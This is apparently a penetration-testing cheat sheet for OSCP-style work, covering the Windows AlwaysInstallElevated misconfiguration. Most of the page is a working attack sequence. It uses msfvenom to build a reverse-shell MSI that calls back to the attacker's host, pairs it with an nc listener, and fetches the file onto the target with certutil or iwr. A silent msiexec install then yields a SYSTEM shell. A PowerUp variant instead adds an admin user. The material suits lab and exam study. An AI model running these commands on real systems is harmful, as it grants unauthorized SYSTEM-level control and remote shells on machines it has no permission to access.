AlwaysInstallElevated — MSI Privilege Escalation
Ctrl+F:
AlwaysInstallElevated· HKLM · HKCU ·msiexec· msfvenom ·.msi
AlwaysInstallElevated — when both registry keys are 1, any user can install .msi (Microsoft Installer) packages with SYSTEM privileges. Upload a malicious MSI → instant privesc.
External: HackTricks — AlwaysInstallElevated
→ Windows PrivEsc · PowerUp · Windows Privileges - OSCP Priority Hub · Msfvenom
📌 Detect
WinPEAS (typical output)
╔══════════╣ Checking AlwaysInstallElevated
https://book.hacktricks.xyz/.../alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!Both HKLM and HKCU must be 1 — if only one is set, the vuln is not active.
Manual check
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedGet-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
Get-ItemProperty HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer -Name AlwaysInstallElevated -ErrorAction SilentlyContinuePowerUp:
. .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated→ Privesc Tools · CrackMapExec - nxc (install_elevated module)
📌 Why it works
| Key | Hive | Meaning |
|---|---|---|
AlwaysInstallElevated | HKLM | Machine policy — elevated installs allowed |
AlwaysInstallElevated | HKCU | User policy — same for current user |
When both = 1, Windows Installer runs with admin/SYSTEM context for any user — no UAC prompt for a crafted MSI.
📌 Exploit — msfvenom MSI reverse shell
1 — Kali: build MSI + listener
msfvenom -p windows/x64/shell_reverse_tcp LHOST=TUN0_IP LPORT=445 -f msi -o shell.msi
rlwrap nc -lnvp 445| Flag | Meaning |
|---|---|
-f msi | Microsoft Installer format |
LPORT=445 | Any free port — use Port in Use - kill listener if busy |
Alternates:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o evil.msi
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o shell.msi2 — Transfer to target
certutil -urlcache -split -f http://KALI:8000/shell.msi C:\Users\Public\shell.msiiwr -uri http://KALI:8000/shell.msi -Outfile C:\Users\Public\shell.msi→ File Transfer · evil-winrm upload
3 — Install (runs as SYSTEM)
msiexec /quiet /qn /i C:\Users\Public\shell.msi| Flag | Meaning |
|---|---|
/i | Install package |
/quiet | No UI |
/qn | No UI at all |
Catch SYSTEM shell on Kali listener.
📌 PowerUp alternative (add admin user)
. .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
Write-UserAddMSI
# Creates malicious MSI locally — transfer if needed, then:
msiexec /quiet /qn /i C:\Temp\AddUser.msi→ PowerUp
📌 Metasploit module
msfconsole -q
use exploit/windows/local/always_install_elevated
set SESSION 1
run→ MetaSploit · Post-Exploitation
📌 OSCP workflow
1. winPEAS / manual reg query
2. Both HKLM + HKCU = 1?
3. msfvenom -f msi on Kali
4. certutil / IWR upload
5. msiexec /quiet /qn /i shell.msi
6. SYSTEM shell → flags / dump / pivot
📌 Troubleshooting
| Problem | Fix |
|---|---|
| Only one registry key = 1 | Not vulnerable — try Potato Attacks, services |
| MSI fails silently | Run without /quiet to see errors · check AV |
| No callback | Wrong LHOST (tun0) · firewall · try 443/4444 |
| Access denied on msiexec | Keys not both set · wrong user context |
📌 Quick cheat sheet
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msiexec /quiet /qn /i C:\Users\Public\shell.msimsfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=445 -f msi -o shell.msi
rlwrap nc -lnvp 445
python3 -m http.server 8000📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'→ Linux > 📌 1) Basic Manual Enumeration